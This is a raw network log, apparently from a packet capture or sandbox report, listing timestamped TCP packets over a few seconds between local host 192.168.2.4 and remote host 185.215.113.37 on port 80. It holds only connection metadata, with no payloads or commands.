Oct 12, 2024 13:17:23.686937094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.686969995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.687000036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.687000036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.687006950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.687042952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.687050104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.687073946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.687336922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.713843107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.713915110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.713977098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.714021921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.714030027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.714065075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.714092970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.714128017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.714164019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.714198112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.714227915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.714229107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.714250088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.714282990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.714301109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.714318037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.714350939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.714360952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.714401960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.714436054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.714437962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.714437962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.714471102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.714500904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.714524031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.714562893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.714615107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.714617014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.714669943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.714711905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.714723110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.714757919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.714790106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.714839935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.714859962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.714874029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.714876890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.714905977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.714936972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.714970112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.715002060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.715004921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.715004921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.715035915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.715061903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.715070009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.715104103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.715125084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.715137005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.715171099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.715204000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.715225935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.715259075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.715291977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.715321064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.715321064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.715325117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.715358019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.715403080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.715428114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.715471983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.715506077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.715527058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.715538025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.715573072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.715588093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.715605974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.715605974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.715641022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.715663910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.715678930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.715713024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.715744972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.715744972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.715745926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.715781927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.715796947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.715812922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.715847015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.715847015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.715882063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.715903044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.715917110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.715949059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.715966940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.715981960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.716015100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.716015100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.716016054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.716047049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.716067076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.716078043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.716078043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.716083050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.716099024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.716113091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.716125965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.716140985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.716154099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.716154099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.716157913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.716171980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.716192961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.716324091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.726823092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.726856947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.726892948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.726943970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.726975918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.727009058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.727041960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.727042913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.727042913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.727072954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.727072954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.727096081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.727152109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.727185011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.727185011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.727185965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.727220058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.727252960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.727284908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.727284908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.727286100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.727324009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.727601051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.728596926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.745151997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.745207071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.745256901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.745275021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.745275974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.745309114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.745333910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.745342970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.745377064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.745409012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.745409966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.745445013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.745474100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.745474100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.745496988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.745532036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.745587111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.745620966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.745641947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.745651960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.745654106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.745692015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.745714903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.745726109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.745733023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.745762110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.745762110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.745793104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.745810032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.745827913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.745860100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.745861053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.745894909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.745918036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.745927095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.745929003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.745963097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.745995998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.746025085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.746025085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.746625900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.767107964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.767216921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.772144079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.772175074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.772224903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.772253036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.772279978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:24.543106079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:24.543231010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:24.637438059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:24.637465954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:24.642296076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:24.642360926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:24.642426014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:25.357330084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:25.360096931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:25.408333063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:25.413583994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:26.133023024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:26.133119106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:26.596174002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:26.601222038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:27.310882092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:27.311067104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:27.582675934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:27.587884903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:27.809456110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:27.809508085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:27.809541941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:27.809575081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:27.809607983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:27.809639931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:27.809650898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:27.809650898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:27.809650898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:27.809679031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:27.809710979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:27.809720993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:27.809720993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:27.809746027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:27.809778929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:27.809817076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:27.809824944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:27.809824944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:27.809824944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:27.809848070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:27.809859037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:27.809895992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:27.933244944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:27.933293104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:27.933326960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:27.933361053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:27.933413982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:27.933413982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:27.933538914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:27.933594942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:27.933628082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:27.933636904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:27.933636904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:27.933661938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:27.933695078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:27.933726072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:27.933737040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:27.933737040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:27.933758974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:27.933792114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:27.933800936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:27.933800936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:27.933826923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:27.933856964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:27.933867931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:27.933867931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:27.933890104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:27.933922052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:27.933932066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:27.933932066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:27.933973074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:27.934006929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:27.934012890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:27.934012890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:27.934041023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:27.934073925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:27.934083939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:27.934083939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:27.934107065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:27.934144020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:27.934148073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:27.934148073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:27.934176922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:27.934211016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:27.934216976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:27.934216976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:27.934245110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:27.934286118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:27.934286118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.058415890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.058449030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.058532953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.058583975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.058619022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.058651924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.058659077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.058659077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.058686018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.058726072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.058726072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.058737993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.058770895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.058794975 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.058806896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.058835983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.058849096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.058849096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.058886051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.058907032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.058918953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.058943033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.058950901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.058963060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.059027910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.059072018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.059106112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.059134960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.059138060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.059170961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.059171915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.059211969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.059211969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.059235096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.059266090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.059288979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.059314966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.059323072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.059349060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.059375048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.059391022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.059401989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.059451103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.059478998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.059484959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.059516907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.059524059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.059524059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.059571981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.059601068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.059613943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.059613943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.059648991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.059684038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.059689045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.059689045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.059732914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.059741020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.059771061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.059798002 CEST	49730	80	192.168.2.4	185.215.113.37
